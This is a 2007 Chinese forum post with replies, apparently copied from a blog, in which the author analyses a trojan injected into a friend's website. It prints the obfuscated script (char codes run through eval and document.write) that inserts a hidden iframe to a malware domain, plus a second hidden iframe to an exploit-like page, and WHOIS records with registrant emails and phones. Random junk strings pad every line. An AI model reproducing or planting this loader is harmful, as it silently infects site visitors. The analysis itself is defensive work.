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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, =au!rda  
HB$?}V  
http://www.areway.cn/?p=175 z}.6yHS  
[^bq?w  
Q-F$Ryj^  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: <1Sj_HCT  
          zK1]o-wSAT  
<script>t=’60,105,102,114,97,109,101, Lccy~2v>  
32,115,114,99,61,104,116,116,112,58,47,47, guGX  G+  
102,114,101,101,46,117,45,117,117,117,46,99, rFkZ'rp74b  
110,47,101,114,114,111,114,46,104,116,109, b SgbvnJ  
32,119,105,100,116,104,61,49,48,48,32,104, surNJ,)  
101,105,103,104,116,61,48,62,60,47,105,102, ^);M}~  
114,97,109,101,62′; +]( y  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> x- ue1  
                                                                                                  QT73=>^B  
<script>t=’60,105,102,114,97,109,101,32,115, &7>]# *  
114,99,61,104,116,116,112,58,47,47,102,114, H_t0$x(\  
101,101,46,117,45,117,117,117,46,99,110,47, <6Y;VH^_  
101,114,114,111,114,46,104,116,109,32,119, -y|']I^ &  
105,100,116,104,61,49,48,48,32,104,101,105, m&D I2he  
103,104,116,61,48,62,60,47,105,102,114,97, Fw{#4  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); "+Ys}t~2  
document.write(t);</script> n}e%c B  
                                                                                                  )?{!7/H F@  
<html xmlns=” s3nt2$=:t  
http://www.w3.org/1999/xhtml <H-kR\HF  
“> g-_=$#&{  
<head> 1%R${Qhr  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> XTk :lzFH  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> +!px+*)bW  
<title>首页 - 爱生活家庭网 pU<J?cU8N  
                                                                                                                                                    +r//8&  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 Mp!1xx  
转换字符串后的大概内容是(谁点击后果自付): )V>zXy}Y  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… j6~`C ?(  
                                                                                                                                  \}u/0UF97  
查询玉米u-uuu.cn的详细信息: UF6U5],`u  
Domain Name: u-uuu.cn +J;b3UE#  
ROID: 20070901s10001s64972306-cn m9sck:g#L1  
Domain Status: ok );}M"W8  
Registrant Organization: 王雷 <YEKbnw$o  
Registrant Name: 王雷 $IX(a4'  
Administrative Email: czlovexs@126.com E<u(Yw6=  
Sponsoring Registrar: 北京万网志成科技有限公司 Ja4M@z  
Name Server:ns.yovole.com Pi |Z\j)  
Name Server:ns1.yovole.com "eOl(TSu/  
Registration Date: 2007-09-01 17:54 'nh2}  
Expiration Date: 2008-09-01 17:54 -AD` (b7q  
最后PING了一下地址 都没有什么…. *y7 Yf7  
                                                                                                @M-Q|  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. "nfi :A1  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> >R6mI  
<script language=”javascript” src=” 4guR8 elM  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script k:j_:C&.  
> .>[l@x"  
这个玉米应该有可能是木马作者的: {dxl8~/I  
foafau.info的详细信息: l/B+k  
Access to INFO WHOIS information is provided to assist persons in :=+YZ|&j  
determining the contents of a domain name registration record in the ||TZ[l  
Afilias registry database. The data in this record is provided by I~YV&12  
Afilias Limited for informational purposes only, and Afilias does not 4:Ju|g]O  
guarantee its accuracy.  This service is intended only for query-based  "$J5cco  
access. You agree that you will use this data only for lawful purposes "s]  
and that, under no circumstances will you use this data to: (a) allow, W.cc!8  
enable, or otherwise support the transmission by e-mail, telephone, or nsXG@CS:  
facsimile of mass unsolicited, commercial advertising or solicitations O`%F{&;29  
to entities other than the data recipient’s own existing customers; or lDKyD`WKnZ  
(b) enable high volume, automated, electronic processes that send &nVekE:!  
queries or data to the systems of Registry Operator, a Registrar, or )p;t '*]  
Afilias except as reasonably necessary to register domain names or +$VDV4l  
modify existing registrations. All rights reserved. Afilias reserves 8mRZ(B>% X  
the right to modify these terms at any time. By submitting this query, 4|5;nxkGm8  
you agree to abide by this policy. Hf1b&8&:K  
Domain ID:D22418703-LRMS 0F_hXy@K  
Domain Name:FOAFAU.INFO nVgvn2N/  
Created On:20-Nov-2007 16:05:42 UTC ._A4 :  
Last Updated On:20-Nov-2007 16:05:44 UTC F @Wi[K  
Expiration Date:20-Nov-2008 16:05:42 UTC Qx|HvT2P  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) M;3q.0MU  
Status:CLIENT DELETE PROHIBITED p$x>I3C(\  
Status:CLIENT RENEW PROHIBITED 'WmjQsf  
Status:CLIENT TRANSFER PROHIBITED we!w5./Xm  
Status:CLIENT UPDATE PROHIBITED \}kR'l  
Status:TRANSFER PROHIBITED AX6:*aZB  
Registrant ID:GODA-040110615 D$H&^,?N  
Registrant Name:liu hong Tmu2G/yi  
Registrant Organization: X6$Cd]MN  
Registrant Street1:beijing 6|n3Q$p  
Registrant Street2: /g9^g(  
Registrant Street3: KVEc:<|x  
Registrant City:beijing TC'SDDX  
Registrant State/Province: e]; IQ|  
Registrant Postal Code:100000 XVfUr\=,T  
Registrant Country:CN 3$K[(>s  
Registrant Phone:+86.860108888777 tP2.D:( R  
Registrant Phone Ext.: (vi^ t{k  
Registrant FAX: S5F5Tr;TN  
Registrant FAX Ext.: |?^N@  
Registrant Email:bbbshiji@163.com ,\3Cq2h  
Admin ID:GODA-240110615 5%V(eR  
Admin Name:liu hong [)8O\/:  
Admin Organization: + `'wY?  
Admin Street1:beijing 9{S$%D  
Admin Street2: R8!~>$#C6)  
Admin Street3: . 8ikcs  
Admin City:beijing #n.v#FyNx  
Admin State/Province: ?5lO1(  
Admin Postal Code:100000 47*2QL^zj  
Admin Country:CN [J eq ?X9  
Admin Phone:+86.860108888777 $I#~<bW,  
Admin Phone Ext.: uX{g4#eG  
Admin FAX: Y:Lkh>S1Q  
Admin FAX Ext.: g26_#4 P  
Admin Email:bbbshiji@163.com rP"Y.;s  
Billing ID:GODA-340110615 -H[@]Q4w  
Billing Name:liu hong g}hNsU=$5~  
Billing Organization: S7cD}yx*[  
Billing Street1:beijing ND=JpVkvZ?  
Billing Street2: [ 4IqHe  
Billing Street3: Wie0r@5E  
Billing City:beijing F2<Q~gQ;  
Billing State/Province: VB8eGMo  
Billing Postal Code:100000 J?Q@f  
Billing Country:CN ]0%{ IgB  
Billing Phone:+86.860108888777 9aIv|cS?  
Billing Phone Ext.: `2V{]F  
Billing FAX: C deV3  
Billing FAX Ext.: >nK (  
Billing Email:bbbshiji@163.com @V Tw>=94  
Tech ID:GODA-140110615 Y}yh6r;i  
Tech Name:liu hong gr.G']9lNq  
Tech Organization: &lzCRRnvt  
Tech Street1:beijing 9M|#X1r{%{  
Tech Street2: g}9heR  
Tech Street3: vt(n: Xk  
Tech City:beijing l#>A.-R*`  
Tech State/Province: %){/O}I]>  
Tech Postal Code:100000 33hP/p%  
Tech Country:CN ~:_10g]r  
Tech Phone:+86.860108888777 #q&N d2y  
Tech Phone Ext.: [fkt3fS  
Tech FAX:  _qt  
Tech FAX Ext.: Xo.3OER  
Tech Email:bbbshiji@163.com P$clSJW  
Name Server:NS27.DOMAINCONTROL.COM d] E.F64{  
Name Server:NS28.DOMAINCONTROL.COM pMUUF5  
Name Server: +f_3JL$  
Name Server: -&v0JvTJ9j  
Name Server: C'sA0O@O  
Name Server: =1O;,8`  
Name Server: Q5Mn=  
Name Server: uBM%E OE  
Name Server: f=4q]y#& X  
Name Server: sN1I+X  
Name Server: 0? KvR``Aj  
Name Server: *tDxwD7  
Name Server: /KO2y0`  
                                                                                                          F22]4DLHO  
接着下载每个文件里面的代码: =}SC .E\  
一步一步看.. k)9 pkPl  
zj1_#=]  
i^}DIx{  
DPl&e-`  
2>Kn'p  
h>|IA@;|f  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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